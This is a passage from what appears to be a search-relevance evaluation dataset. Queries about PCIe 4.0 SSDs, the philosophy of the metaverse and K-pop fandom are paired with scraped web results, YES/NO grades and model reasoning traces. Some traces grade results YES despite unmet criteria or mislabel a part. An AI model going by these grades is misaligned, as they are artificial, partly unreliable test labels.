                "text": "Silicon Power US70\n\nThis M.2 PCIe 4.0 x4 SSD puts everything you do on a fast lane, with lightning read/write speed. Its SLC caching prevents performance drops while a suite of advanced features works behind the scene guaranteeing the best possible data integrity and drive lifespan, so you can game, create and work with full confidence.\n\nRace into The Future: PCIe 4.0\n\nOffering a standard data transfer rate that's double that of the previous 3.0 version, the US70 PCIe Gen 4 x4 with 3D NAND flash memory and NVMe 1.3 support is exactly what combative gamers, competitive overclockers, professional designers/editors, and high-end business users crave. With incredible read and write speeds up to 5,000MB/s and 4,400MB/s, respectively, the US70 is nearly 10 times faster than traditional SATA III SSDs. It provides next-level specs that will be competitively relevant for the future, while also being backwards-compatible with PCIe 3.0 too.\n\nLong-Lasting Performance with NVMe 1.3 Support\n\nThe US70 packs the storage capacity, either 1TB or 2TB, to put its unmatched performance to good use. Featuring 3D NAND flash memory stacks, the Total Bytes Written (TBW) is substantially improved to meet the demanding needs of storage applications with ease. TBW for the 1TB version is 1,800TB and 3,600TB for the 2TB version. NVMe 1.3 support allows for higher performance, lower latency, and lower power consumption to maximize the power and lifespan of this SSD.\n\nPowered by Multiple Technologies for Optimum Performance\n\nThe US70 supports SLC Caching and DRAM Cache Buffer to improve sequential read/write and random read/write performance. It is engineered with low density parity check (LDPC) coding and an ECC algorithm to ensure accuracy of transmission and reliability of data access. Featuring E2E data protection and support for TRIM commands, the US70 efficiently manages reusable space and significantly reduces hard drive wear out. And if all that's not enough, our proprietary S.M.A.R.T. software enables operational monitoring of the SSD ",
                "model_trace": "Query Decomposition:\n1. {best}: The document does not provide a comparison or ranking to determine if this SSD is the best -> ([0], UNSURE)\n2. {ssd nvme pcie 4.0}: The document clearly describes an SSD that is NVMe PCIe 4.0 -> ([1], SATISFIED)\n3. {2023}: The document was published in 2020, so it may not reflect the latest information or best options in 2023 -> ([0], UNSURE)\n\nAssessment: The relevant subcomponent is {ssd nvme pcie 4.0}, which is satisfied. However, the document does not address whether this SSD is the best or if it is relevant for 2023. Given the user's intent to find the best SSD NVMe PCIe 4.0 for 2023, this document does not fully meet the query's needs. NO."
            },
            {
                "grade": "YES",
                "title": "SAMSUNG 980 PRO 500GB PCIe NVMe Gen4 Internal Gaming SSD M.2 (MZ-V8P500B) - All Electro Deals",
                "url": "https://allelectrodeals.com/product/samsung-980-pro-500gb-pcie-nvme-gen4-internal-gaming-ssd-m-2-mz-v8p500b/",
                "published_date": "2021-01-28",
                "text": "Home Others SAMSUNG 980 PRO 500GB PCIe NVMe Gen4 Internal Gaming SSD M.2 (MZ-V8P500B)\n\n- 40%\n\nAdd to wishlistAdded to wishlistRemoved from wishlist 0\n\nAdd to compare\n\nLast updated on February 26, 2023 11:25 pm\n\nDescription\n\nAdditional information\n\nReviews (0)\n\nSAMSUNG 980 PRO 500GB PCIe NVMe Gen4 Internal Gaming SSD M.2 (MZ-V8P500B)\n\n$139.99\n\n$84.00\n\nin stock\n\n14 new from $84.00 \n 8 used from $59.61 \n Free shipping\n\nas of February 26, 2023 11:25 pm\n\nFeatures\n\nNEXT-LEVEL SSD PERFORMANCE: Unleash the power of Samsung 980 PRO PCIe 4.0 NVMe SSD for next-level computing\n MAXIMUM SPEED: 980 PRO is raising the bar for NVMe SSDs. 980 PRO is backward compatible with PCIe 3.0. Sequential performances (up to)- 3500MB/s for reads, 3400MB/s (500GB) for writes. Random (up to)- 690K IOPS (500GB/1TB) for reads, 620K (250/500GB) for writes\n A WINNING COMBINATION: Designed for hardcore gamers and tech-savvy users, the 980 PRO offers high-performance bandwidth and throughput for heavy-duty applications in gaming, graphics, data analytics, and more\n EFFICIENT M.2 SSD: The 980 PRO comes in a compact M.2 2280 form factor, thus optimizing power efficiency, making it ideal for building high-performance computing systems\n RELIABLE THERMAL CONTROL: To ensure stable performance, the 980 PRO uses nickel coating to help manage the controller's heat level and a heat spreader label to deliver effective thermal control of the NAND chip\n\nSpecification: SAMSUNG 980 PRO 500GB PCIe NVMe Gen4 Internal Gaming SSD M.2 (MZ-V8P500B)\n\nPart Number\n\nMZ-V8P500B/AM\n\nModel\n\nMZ-V8P500B/AM\n\nWarranty\n\n1 year manufacturer\n\nRelease Date\n\n2020-09-22T00:00:01Z\n\nSize (GB)\n\n500\n\nUser Reviews",
                "model_trace": "Query Decomposition:\n1. {best}: The document does not provide a comparison or ranking to determine if this SSD is the best -> ([0], UNSURE)\n2. {ssd nvme}: The document is about an NVMe SSD, specifically the Samsung 980 PRO -> ([1], SATISFIED)\n3. {pcie 4.0}: The document clearly states that the SSD is PCIe 4.0 -> ([1], SATISFIED)\n4. {2023}: The document was last updated in 2023, but the product release date is 2020 -> ([2], UNSURE)\n\nAssessment: The relevant subcomponents are {ssd nvme} and {pcie 4.0}, which are both satisfied. Although the document does not provide a comparison to determine if it is the best SSD and the product release date is older, the information about the SSD itself is accurate and up-to-date as of 2023. YES."
            },
            {
                "grade": "YES",
                "title": "Best SSDs 2024: From Budget SATA to Blazing- ...",
                "url": "https://www.tomshardware.com/reviews/best-ssds,3891.html",
                "published_date": null,
                "text": "Home\nBest-picks\n(Image credit: Tom's Hardware)\nOf the key components in any PC, the storage drive is slowest: transferring bits in a fraction of the time your CPU and GPU take to process it or your RAM takes to load it. A poor-performing storage drive often leads to a big bottleneck, forcing your processor (even if it's one of the best CPUs for Gaming) to waste clock cycles as it waits for data to crunch. And for those on the hunt for the Best SSD for the PS5, be sure to head to that link for our recommendations based on our exhaustive testing. \u00a0 Finding the best SSD or solid-state drive for your specific system and needs is key if you want the best gaming PC or laptop, or even if you just want a snappy productivity machine. To find the best SSDs for gaming and productivity, we test dozens of drives each year and highlight the best ones here. We've also added a best SSD for NAS category to help you determine the best drive for your bulk storage needs.\u00a0 Picking the Best SSD for You  Why you can trust Tom's Hardware \n \n Our expert reviewers spend hours testing and comparing products and services so you can choose the best for you. Find out more about how we test.  The latest NVMe SSDs have undercut mainstream drives on the slower SATA interface (which was originally designed for hard drives), but we shouldn't expect to see the end of SATA drives any time soon. Existing SATA drives will have to continue to get more affordable in order to at least compete on price, but they can't hope to keep up with newer NVMe drives on performance.  Blazing-fast PCIe 4.0 M.2 SSDs, which offer up to twice the sequential speeds of the older PCIe 3.0 standard, have become common with Intel and AMD's current platforms both supporting them. Both AMD and Intel even support PCIe 5.0 on the Zen 4 Ryzen 7000 and 13th-Gen Raptor Lake platforms, though the actual PCIe 5.0 SSDs don't arrive until later this year. \nThat means PCIe 4.0 remains king of the hill, at least for now. If your desktop system can handle a PCIe 4.0 drive and you can pay ",
                "model_trace": "Query Decomposition:\n1. {best SSD}: The document is about the best SSDs, so this subcomponent is met -> ([1], SATISFIED)\n2. {NVMe}: The document mentions NVMe SSDs, so this subcomponent is met -> ([1], SATISFIED)\n3. {PCIe 4.0}: The document discusses PCIe 4.0 SSDs, so this subcomponent is met -> ([1], SATISFIED)\n4. {2023}: The document does not specify the year 2023, and it mentions 2024, so this subcomponent is not met -> ([0], UNSATISFIED)\n\nAssessment: The relevant subcomponents are {best SSD}, {NVMe}, and {PCIe 4.0}. Since all these subcomponents are satisfied, the document is helpful for the user's query despite the year discrepancy. YES."
            },
            {
                "grade": "YES",
                "title": "Best M.2 SSDs for gaming in 2024",
                "url": "https://www.pcgamer.com/best-nvme-ssd/",
                "published_date": null,
                "text": "Home\nFeatures\n(Image credit: Seagate, WD )\nThe best NVMe SSD for gaming will breeze through loading screens so fast you'll wonder why you didn't toss your old spinning hard drive out a lot sooner. A reliable NVMe SSD makes your day-to-day PC usage a much smoother experience, from quickly booting into Windows to loading massive open-world games like Elden Ring or Forspoken in seconds. An NVMe SSD is one of the best, most affordable upgrades you can make to your PC. Even consoles like the Xbox Series X and PlayStation 5 benefit from having an NVMe SSD inside them. PS5 users can use most of the NVMe SSDs on this list to expand their storage with a simple DIY upgrade (opens in new tab). The Xbox Series X takes advantage of DirectStorage (opens in new tab), a technology that boosts loading times, which will make its way to PC gamers soon. \u00a0 The best thing about the SSD market is that it's super competitive. Every other day, you can find fantastic deals on these speedy drives, particularly 1TB NVMe SSDs, which you can score for about $120. As long as your motherboard has an M.2 slot, picking up an NVMe SSD should be a no-brainer.\u00a0You could go for a 512GB drive if the cost is a concern, but considering the size of new PC games these days, it might not be worth it. 1TB should be the smallest capacity drive you go with.\u00a0 We've tested loads of NVMe SSDs recently to find the best ones for PC gaming. Each drive we recommend is available in various capacities with prices to match. And remember, larger drives perform better thanks to more controller channels being used at higher capacities, so buy a big drive if you can on sale. It'll be worth it.  Where are the best SSD deals?   In the US: \n Amazon\u00a0-\u00a0Up to 50% off internal and external SSDs (opens in new tab)\n Walmart\u00a0-\u00a0Deals on internal and external SSDs (opens in new tab)\n B&H Photo\u00a0-\u00a0Save up to $50 on NVMe SSDs (opens in new tab)\n Best Buy\u00a0-\u00a0Great prices on Samsung SSDs (opens in new tab)\n Staples\u00a0-\u00a0Save up to 30% on a range of SSDs, USB sticks, and external SSDs (open",
                "model_trace": "Query Decomposition:\n1. {best SSD}: This document is about the best NVMe SSDs, so this subcomponent is likely met -> ([1], SATISFIED)\n2. {NVMe}: The document specifically discusses NVMe SSDs -> ([1], SATISFIED)\n3. {PCIe 4.0}: The document does not specify whether the SSDs are PCIe 4.0 -> ([0], UNSURE)\n4. {2023}: The document is about SSDs for 2024, not 2023 -> ([1], UNSATISFIED)\n\nAssessment: The relevant subcomponents are {best SSD} and {NVMe}. Since both of these are satisfied, the document is helpful despite not specifying PCIe 4.0 or the year 2023. YES"
            },
            {
                "grade": "YES",
                "title": "Best PCIe 4.0 SSDs 2024: Up your storage game",
                "url": "https://www.pcworld.com/article/394512/the-best-pcie-40-ssd.html",
                "published_date": null,
                "text": "Image: Corsair\t\n\t\n\t\nMost computers and storage drives still use the common SATA or PCIe 3.0 interfaces to sling your bits of data around, but if you\u2019re lucky enough to own a relatively modern PC, you might be able to upgrade to a solid-state drive (SSD) built on the insanely fast PCIe 4.0 protocol.\nWe\u2019ve tested several PCIe 4.0 SSDs and the best one to cross our labs thus far is the\u00a0WD Black SN850X\u00a0in a field of tough contenders, though it\u2019s neck-and-neck with the rival Seagate FireCuda 530. Ultimately, due to its better overall performance, the WD Black SN850X takes our top spot.\nRead on to learn more, including what to look for in PCIe 4.0 SSD.\n  Updated 03/14/2023: To include the Adata Legend 850, our new pick for best budget PCIe 4.0 SSD runner-up. Check out our summary below for more info.  \n\t\n\t\n\t\n\t \n\t1. WD Black SN850X \u2013 Best PCIe 4.0 SSD\t\n\t \n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\tPros\n\t\n\t \n\tExcellent performance\t \n\t \n\tDecently affordable given its speed\t \n\t \n\tAvailable up to 4TB\t \n\t \n\tOptional heatsink for 1/2TB models\t \n\t \n\t\n\t\n\tCons\n\t\n\t \n\tPricey per gigabyte\t \n\t \n\tSomewhat parsimonious TBW ratings\t \n\t \n\t\n\t\n\t\n\t\n\t\n\tPrice When Reviewed:\t\n\t$159 for 1TB I $289 for 2TB I $699 for 4TB\t\n\t\n\t\n\t\n\t\nThe WD Black SN850X is a screaming-fast drive and ranks right up next to the FireCuda 530 at the top in terms of speed. The reason we chose the WD Black SN850X at the best PCIe 4.0 is that it offers better value for the money\u2014not only does it give you the same great speed as the FireCuda, but it does so at a lower price per GB. \nAlso, in terms of overall performance, the SN850X stands out with its excellent real-world transfer rates and outstanding random write performance. In the crowded field of great PCIe 4.0 SSDs, the WD Black SN850X holds it own at the top despite stiff competition.\n\t \n\tRead our full \n\t\n\tWD Black SN850X review \t\n\t \n\t\n\t\n\t \n\t2. Seagate FireCuda 530 \u2013 Best PCIe 4.0 SSD runner-up\t\n\t \n\t\n\t\n\t\n\t\n\t\n\t\n\tPros\n\t\n\t \n\tFastest NVMe PCIe 4 SSD we\u2019ve tested to date\t \n\t \n\tVery high TBW (longevity) rating\t \n\t \n\tFive-year warranty with three-yea",
                "model_trace": "Query Decomposition:\n1. {best}: The document provides a ranking of the best PCIe 4.0 SSDs -> ([1], SATISFIED)\n2. {ssd nvme pcie 4.0}: The document specifically discusses PCIe 4.0 SSDs -> ([1], SATISFIED)\n3. {2023}: The document was updated in 2023 -> ([1], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents. YES"
            }
        ]
    },
    {
        "query": "must read blog post on the philosophical implications of the metaverse",
        "grid_pos": [
            0,
            2
        ],
        "grid_pos_str": "Search Query Format: Google Request, Search Result Type: Blog Post/Substack/Personal Content",
        "reasoning_trace": [
            "These queries cover a diverse range of topics that require deep subject matter knowledge and understanding of internet culture and content to properly evaluate. They test Exa's ability to handle specific, detailed queries on niche or complex subjects, as well as its ability to identify high-quality, authoritative content in the form of Substack blogs and personal blog posts. The queries involve topics like board games, quantum computing, the metaverse, medieval art, and K-pop - all areas that would require significant external knowledge to properly address. Exa would need to understand the context and nuance of these queries to identify the most relevant and useful content."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "The Meaning of Virtual Worlds",
                "url": "https://meditations.metavert.io/p/the-meaning-of-virtual-worlds",
                "published_date": "2024-01-07",
                "text": "No, this isn\u2019t about the definition of \u201cvirtual worlds\u201d \u2014 it is about meaning itself, and how it is conveyed, and the things people care about. It is about games, and spatial computing, and metaverse. It is about the making the parts of virtual worlds that actually matter. When we consume media\u2014books, art, movies, games\u2014we are invoking the power of our brain to compose a virtual world from a scarce number of inputs. Our brain is always filling in the gaps in our experience. Certain experiments can prove to you that this happens all day long. Cover your right eye with your hand , and then staring at the plus sign in the following image; you\u2019ll see the red dot disappearing and reappearing as it continues its path. The Blind Spot That\u2019s how virtual worlds work. Long before \u201cvirtual reality\u201d and metaverse and online games\u2014humans created persistent virtual worlds for each other. These worlds only required the most basic set of inputs to stimulate our imaginations. To live beyond our own minds, a virtual worlds need a way to persist. Fortunately, we don\u2019t need a technology for this: humans are reasonably capable of transmitting virtual worlds to each others\u2019 minds via oral storytelling, where the world is then stored in someone else\u2019s brain. Of course, there\u2019s a lot of scalability and accuracy problems with this. One of the first technologies that addressed this was writing on stone tablets, such as this one that contains the Epic of Gilgamesh: Simply occupying a virtual world isn\u2019t enough; for a virtual world to be interesting, it requires meaning. When I talk about meaningfulness, I\u2019m really exploring questions of \u201cwhy?\u201d Why do we do things? Why do we care? Why do we feel? Why do we exist? These questions are about purpose and intention. The ancient Epic of Gilgamesh shows us that we\u2019ve been curious about the same meanings for thousands of years: Tzvi Abusch, The Development and Meaning of the Epic of Gilgamesh Achievement. Friendship. The will to survive. These ancient concerns will be familiar to you from all the f",
                "model_trace": "Query Decomposition:\n1. {must read blog post}: The document is a blog post -> ([1], SATISFIED)\n2. {philosophical implications}: The content discusses meaning, purpose, and intention, which are philosophical topics -> ([1], SATISFIED)\n3. {metaverse}: The document explicitly mentions the metaverse and virtual worlds -> ([1], SATISFIED)\n\nAssessment: The document satisfies all the key subcomponents of the query. YES."
            },
            {
                "grade": "YES",
                "title": "The Metaverse Is Already Here",
                "url": "https://reason.com/2022/06/25/the-metaverse-is-already-here/",
                "published_date": "2022-06-25",
                "text": "It's fair to say that reality has a lot of problems. War. Famine. Disease. Taxes. Unwanted accumulations of pet hair. But if you look at the world through the eyes of some of the world's biggest tech companies, a deeper, more fundamental problem reveals itself: There just aren't enough holograms.\nFrom the earliest days of the modern technology revolution\u2014the postwar rise of computers and connections that would eventually give us the internet and email and iPhones and Farmville\u2014technologists and sci-fi writers have dreamed of a world with holograms: information and three-dimensional virtual objects floating in space around you, or entirely new spaces out of the digital ether that you can explore and interact with.\nThis was a multidisciplinary head-scratcher. It's easy to think of holograms as just an advanced display technology, like televisions and computer monitors. But it goes much deeper than that. To interact seamlessly with objects in three-dimensional space, even in the simplest way\u2014say, turning your head to look at something from a different angle\u2014requires the display not only to acquire information about the physical properties of your environment but to track what you are seeing and how, and then adapt accordingly.\nThe same is true of sound, which varies subtly based on factors such as the mass and texture of objects in your room as well as the tilt and location of your head. Your eyes and ears are sensors, detecting a vast amount of information about the world around you, which your brain then decodes, processes, and synthesizes in real time. Add touch, and the sensory measurement challenges grow broader still. To create a world rich with virtual interaction, you'd need technology to track and measure the breadth of human perception.\nIn a way, this is a philosophical problem as much as a technological challenge. What does it mean to see, hear, touch, connect, communicate\u2014to interact with the reality around us? What even is the nature of reality? What even is, like, existence, man? Feel free to take copi",
                "model_trace": "Query Decomposition:\n1. {must read blog post}: This document is a blog post -> ([1], SATISFIED)\n2. {philosophical implications of the metaverse}: The document discusses the philosophical aspects of interacting with virtual objects and the nature of reality, which aligns with the philosophical implications of the metaverse -> ([1], SATISFIED)\n\nAssessment: The document satisfies both key subcomponents. YES."
            },
            {
                "grade": "YES",
                "title": "SOCRATES GETS KILLED IN THE METAVERSE",
                "url": "https://medium.com/@andrewrlce/socrates-gets-killed-in-the-metaverse-18b1eef0fbaa?source=post_internal_links---------2----------------------------",
                "published_date": "2022-06-10",
                "text": "Warning: This post isn\u2019t just about Frame, and it\u2019s really long. Buzz about the Metaverse is reaching new heights. Some of the biggest companies in the world are unveiling their plans to have you spend more of your time interacting as avatars inside of 3D virtual environments, increasingly from screens that are strapped to your face. We aren\u2019t one of the biggest companies in the world (although we are part of a pretty big one), but we have a product, FRAME, that participates in the Metaverse. Inside FRAME, people interact as avatars inside virtual 3D environments. We do think this mode of interaction is better than conventional video conferencing for many kinds of online meetings and events. In other words, I of all people am certainly not anti-metaverse or anti-screen-time generally, nor am I yearning for some pre-metaversal Garden of Eden where avatars don\u2019t exist. A lot of the conversations about the metaverse currently revolve around: defining the metaverse and saying what it is or what it isn\u2019t (a pretty boring question to me) the technical aspects of achieving the metaverse the business models that will underpin the metaverse This post isn\u2019t about any of those things. Instead, I\u2019m going to do a close reading of an excerpt from Plato\u2019s Republic, the famous \u201cAllegory of the Cave\u201d parable, to think out loud about some of the implications of people spending significantly more time in immersive 3D environments that provide alternative \u201crealities\u201d to the physical world. This isn\u2019t \u201cOMG Plato predicted the metaverse\u201d or nonsense like that. This is exploring conceptual overlap between ideas expressed thousands of years ago and our present reality, while seeing how reading old books can invigorate present conversations. While in part I was looking for an excuse to write something about the metaverse that is a little off the beaten path, this excerpt does raise a few provocative questions \u2014 and perhaps a few cautionary notes. Because of its clarity, I\u2019ll generally be relying on Shawn Eyer\u2019s translation of The Republi",
                "model_trace": "Query Decomposition:\n1. {must read blog post}: The document is a blog post on Medium -> ([1], SATISFIED)\n2. {philosophical implications of the metaverse}: The document explicitly mentions exploring the philosophical implications of the metaverse through a close reading of Plato\u2019s \"Allegory of the Cave\" -> ([1], SATISFIED)\n\nAssessment: Both key subcomponents are satisfied. The document is a blog post that delves into the philosophical implications of the metaverse, making it useful for the user's query. YES"
            },
            {
                "grade": "YES",
                "title": "The Philosophical Implications of the Metaverse",
                "url": "https://www.thedivinci.online/post/the-philosophical-implications-of-the-metaverse",
                "published_date": null,
                "text": "Abbey E.     January 29, 2022     \tThe metaverse, which some say is just the next evolution of the internet, is a massive, fully interactive, synthetic world in which anything is possible. It is a world that you can project yourself into and interact with other people who have also projected themselves into it. The level of reality is dependent on the way the interface works. Right now people use 3D goggles and hand controllers, but the world of virtual reality is advancing rapidly every day. The metaverse is detrimental to society because it will cause people to value the virtual, more perfect, reality more than real life which will lead to people not being able to function in the real world. The creators and endorsers of this business are essentially selling it on the foundation of building stronger connections to other people, achieving perfection, and finding beauty ideals that don't exist in the non-virtual world. Ironically, these are all aspects of life that virtual reality is taking from us. The negative effects far outweigh the positives, and it\u2019s important to discuss the impact that it will have on our society.     \tMark Zuckerburg, the creator of Meta (formerly known as Facebook), is promoting connection, and has been since the beginnings of social media. In 2012 he talked about his philosophical commitment to the social value of certain social media services (Facebook), saying, \u201cAt Facebook, we build tools to help people connect with the people they want and share what they want, and by doing this we are extending people\u2019s capacity to build and maintain relationships. People sharing more creates a more open culture and leads to a better understanding of the lives and perspectives of others. We believe that this creates a greater number of stronger relationships between people, and that it helps people get exposed to a greater number of diverse perspectives...We also believe that giving people control over what they share is a fundamental principle of this rewiring\u201d (Facebook, Inc., 2012) History has s",
                "model_trace": "Query Decomposition:\n1. {must read blog post}: This document is a blog post -> ([1], SATISFIED)\n2. {philosophical implications of the metaverse}: The document explicitly discusses the philosophical implications of the metaverse, including societal impacts and philosophical commitments -> ([1], SATISFIED)\n\nAssessment: The document satisfies both key subcomponents. YES."
            },
            {
                "grade": "YES",
                "title": "Metaverse, Media, & Philosophy - by Angelo Alessio",
                "url": "https://medium.com/@angeloalessio/metaverse-media-philosophy-b2e1e15269e9",
                "published_date": null,
                "text": "This is essay #6 of 7 as part of The Tech Progressive Writing Challenge. Join the discussion with build_ in the Discord. Since committing recently full-time to build_, it\u2019s been a fascinating ride. From my own home, I have met more people from around the world in the last 3 months than the last 30+ years of IRL travels. From Belgrade to Brisbane, Lagos to Lake Tahoe, San Francisco to Singapore, there are no words for the beautiful diversity of our community and the interactions to date even if it is just through a Zoom call or Discord conversation. In a way, this is just the power of the internet at work. The Scale of Connection in the Metaverse It also brings up some blurred lines around what is the metaverse and the nature of human <> human interaction in general. While I would much rather share an IRL meal with each community member, I would also be bankrupt from the number of flights if I tried to replicate the same experience IRL. The scale of connection is nearly infinite in the metaverse and that is arguably its biggest draw in my opinion (also for the record this author defines a Discord server as a type of metaverse). This maturing social phenomenon (which fundamentally is not much different from the early days of AOL instant messenger, Myspace, etc.) also makes one wonder just how far will it go? More importantly, how far should it go? With Facebook rebranding to Meta (without much of a tried & trued metaverse product), prolonged COVID restrictions, incredible advancements in VR/AR and graphics engines, how far do we want to actually step into the metaverse? Plato\u2019s Allegory of the Cave It\u2019s difficult not to see a clear connection to Plato\u2019s Allegory of the Cave as a starting point for thinking about the coming age of the metaverse. Without going into too the full breakdown of the allegory (provided in link), the main takeaway is that knowledge gained merely through senses is not a complete view of reality and in order to have real knowledge, we must also augment our senses through philosophic",
                "model_trace": "Query Decomposition:\n1. {must read blog post}: The document is a blog post on Medium -> ([1], SATISFIED)\n2. {philosophical implications}: The document discusses philosophical concepts such as Plato\u2019s Allegory of the Cave in relation to the metaverse -> ([1], SATISFIED)\n3. {metaverse}: The document explicitly discusses the metaverse and its implications -> ([1], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents of the query. YES"
            },
            {
                "grade": "YES",
                "title": "Is the Metaverse a Philosophical Breakthrough?",
                "url": "https://www.tunedly.com/blog/is-the-metaverse-a-philosophical-breakthrough.html",
                "published_date": null,
                "text": "The metaverse is a term used to describe a virtual universe that is designed to be a parallel world to the physical one. This idea has been a staple of science fiction for decades, but with the recent advancements in technology and the growing popularity of virtual and augmented reality, many people believe that the metaverse is becoming a reality. Some have even called it a philosophical breakthrough, but what does that really mean? \nWhat is the Metaverse?\nThe metaverse is a concept that has been around for a long time, but it's only recently that technology has advanced enough to make it a possibility. In its simplest form, the metaverse is a virtual universe that is accessible to everyone, anywhere in the world. People can enter the metaverse through a virtual reality headset or a computer, and they can interact with other people and objects in a way that's similar to the physical world.\nThe Philosophical Implications of the Metaverse\nThe idea of a parallel world that's accessible to everyone has significant philosophical implications. For one, it calls into question the nature of reality itself. If the metaverse is a parallel world that's just as real as the physical one, what does that mean for our understanding of reality? Is the metaverse just an illusion, or is it a new kind of reality that's just as valid as the physical world?\nAnother philosophical implication of the metaverse is the idea of identity. If people can interact with each other in the metaverse in a way that's similar to the physical world, what does that mean for our sense of self? Are our metaverse identities just extensions of our physical identities, or are they separate entities that exist in their own right?\nMusic Industry and the Metaverse\nWhile the metaverse has far-reaching implications for society as a whole, it's also having a significant impact on the music industry. With the rise of virtual and augmented reality, musicians and fans alike are exploring new ways to connect and engage with each other.\nOne of the most exciting possi",
                "model_trace": "Query Decomposition:\n1. {must read blog post}: This document is a blog post -> ([1], SATISFIED)\n2. {philosophical implications of the metaverse}: The document explicitly discusses the philosophical implications of the metaverse, including the nature of reality and identity -> ([1], SATISFIED)\n\nAssessment: The document satisfies both key subcomponents. YES."
            }
        ]
    },
    {
        "query": "personal blog post on the cultural significance of K-pop fandom",
        "grid_pos": [
            0,
            2
        ],
        "grid_pos_str": "Search Query Format: Google Request, Search Result Type: Blog Post/Substack/Personal Content",
        "reasoning_trace": [
            "These queries cover a diverse range of topics that require deep subject matter knowledge and understanding of internet culture and content to properly evaluate. They test Exa's ability to handle specific, detailed queries on niche or complex subjects, as well as its ability to identify high-quality, authoritative content in the form of Substack blogs and personal blog posts. The queries involve topics like board games, quantum computing, the metaverse, medieval art, and K-pop - all areas that would require significant external knowledge to properly address. Exa would need to understand the context and nuance of these queries to identify the most relevant and useful content."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "Notes on K-pop",
                "url": "https://syllabusproject.org/notes-on-k-pop/",
                "published_date": "2023-08-07",
                "text": "Notes on K-pop , or, can we all just admit that NewJeans outsold your fave? \n by Tiger Dingsun \n I want to propose that being a K-pop stan is not about enjoying the music. Or at least, not primarily about the music. The image and identity of the idol themself is the main form of this media, which is designed to be holistically consumed. The music is simply a convenient point of market entry, the frame for all other promotional content\u2014behind the scenes footage, performance videos, TikTok challenges, variety shows appearances, live streams, and in recent years, self-produced variety shows, which are often on YouTube (this move has essentially become the status quo because it takes out the middleman of broadcasting companies. Basically every single K-pop idol has a fully produced YouTube show now). All of this content fuels fandom, and then fandom generates desire, and then that desire is assuaged by capital. Suddenly you find yourself actually buying the album. But even the album, as a physical product, is not really about the music. It\u2019s about the elaborate photobooks, collecting photocards, and other inclusions. It\u2019s more of a steam valve to release excess fannish fervor, rather than wanting to physically own music, which is why K-pop album sales are on a completely different scale from western CD sales. \nIn the past year I\u2019ve gotten really deep into Seventeen fandom (the fanbase is called Carats). But I\u2019m not even super into their music (although I do love a couple of songs), and it\u2019s not really about how they look or their sexual appeal (in general, K-pop\u2019s brand of sexual appeal often comes across to me as corny). No, I\u2019m a Carat because I love meticulously analyzing every member\u2019s personalities, boiling them down to their essences, and then constructing elaborate predictive models of how they would interact with each other in certain scenarios. I have this group chat with two other friends who are also into K-pop in which I spew any and all Seventeen thoughts that occupy my brain. We\u2019re basically just consta",
                "model_trace": "Query Decomposition:\n1. {personal blog post}: This document is a personal blog post written by Tiger Dingsun -> ([1], SATISFIED)\n2. {cultural significance of K-pop fandom}: The content discusses the role of K-pop fandom, the consumption of media beyond music, and the cultural practices within the fandom, such as analyzing idol personalities and engaging in fan activities -> ([1], SATISFIED)\n\nAssessment: The document satisfies both key subcomponents. YES."
            },
            {
                "grade": "YES",
                "title": "Introduction to the Pop Pacific",
                "url": "https://blog.iias.asia/pop-pacific/introduction-pop-pacific",
                "published_date": "2023-03-09",
                "text": "As a professor who has taught a class on K-pop and J-pop for over ten years, I get asked such questions all the time. How do I answer? With two stories.\nFirst, in 1995, I encountered K-pop when I was a graduate student spending a week in Korea, on a layover from Hawaii to Japan. While walking down a bustling street with friends, I heard a recording of songs like Kim Gun Mo\u2019s \u201cWrongful Encounter\u201d (Jalmotdoen mannam \uc798\ubabb\ub41c \ub9cc\ub0a8 1995) blaring from a street vendor. It sounded like something you would hear in a nightclub, but with incomprehensible lyrics, since I didn\u2019t know any Korean at that time. Tell a Korean friend you like something, and he\u2019ll buy it for you, and I ended up with a handful of Korean music tapes.\nLater on, I played these for friends and the songs would always elicit their amusement.\n\u201cWhat are you listening to?\u201d they would often ask.\n\u201cKorean pop music!\u201d I replied, wondering why people felt amused. Perhaps it wasn\u2019t cool to listen to Korean pop music unless you were Korean. Back then, Korea was considered a place to buy cheap souvenirs, like T-shirts, or expensive commodities such as ginseng at a shop in the tourist district of Insadong, if one visited at all.\nFast forward to 2016, over two decades later, and I am a professor teaching Asian history. A young woman in class excitedly explained to me the appeal of BTS, her favorite K-pop group. In her free time, she was studying lyrics to BTS\u2019s song \u201cFire\u201d (2016). When I was in Seoul the following year, I met students who were studying Korean to learn BTS lyrics. I sang in a noraebang (karaoke room) with a German student of Turkish descent. Our song? \u201cFire.\u201d\nBTS joined the ranks of international pop stars with their U.S TV debut at the 2017 American Music Awards. Thanks to K-pop, more students are eager to learn about Korean history. Even professors at a BTS academic conference I presented at in 2022 could rattle off BTS trivia with encyclopedic precision\u2013 \u201cSuga faced financial hardship and hurt his shoulder as a trainee.\u201d The academics also referred to BTS",
                "model_trace": "Query Decomposition:\n1. {personal blog post}: The document is a blog post written by a professor sharing personal experiences and stories related to K-pop -> ([1], SATISFIED)\n2. {cultural significance of K-pop fandom}: The document discusses the growing interest in K-pop, the impact of BTS, and how K-pop has influenced people to learn about Korean history and culture -> ([1], SATISFIED)\n\nAssessment: The document satisfies both key subcomponents as it is a personal blog post that delves into the cultural significance of K-pop fandom through personal anecdotes and observations. YES."
            },
            {
                "grade": "NO",
                "title": "Build your fanbase using the K-pop method",
                "url": "https://www.getflack.com/p/fandom",
                "published_date": "2022-09-29",
                "text": "For a startup, it\u2019s not enough to have followers. If you want people to evangelize for you, stand up for you, and stick with you long term, you need fanatics. You might have a different preferred term (diehards, zealots, tribe?) but for this piece let\u2019s go with fans. Fans of a tech startup, according to DALL-E There is a science to gaining fans. For years I\u2019ve analyzed how people, groups, and companies build fandoms, and there\u2019s no one in the world better at this than K-pop bands. If there is a science to building fandoms, the K-pop industry deserves a Nobel. Blackpink in your area K-pop fans are devoted on a whole other level, and they are legion. They buy out stadiums in minutes, raise $1 million in a day, take over Twitter on command, sell out products from lip balm to fabric softener, buy Times Square billboards, and on and on. I spent some months following BTS and Blackpink and others, butchering my algorithmic recommendations in the process, and concluded that there are four key things all K-pop bands do to cultivate their fandoms. I\u2019ll describe each below, along with examples of how founders and execs can modify these tactics to build passion for a product, brand, or mission. No dancing required. There are virtually no barriers to becoming a K-pop fan. You don\u2019t have to know Korean (songs have English lyrics and get translated into multiple languages), be a certain age (lyrics are generally appropriate for all ages), like a specific genre (a given band might perform pop, rap, R&B, and rock), or use a specific platform (their content can be found on every conceivable platform). You 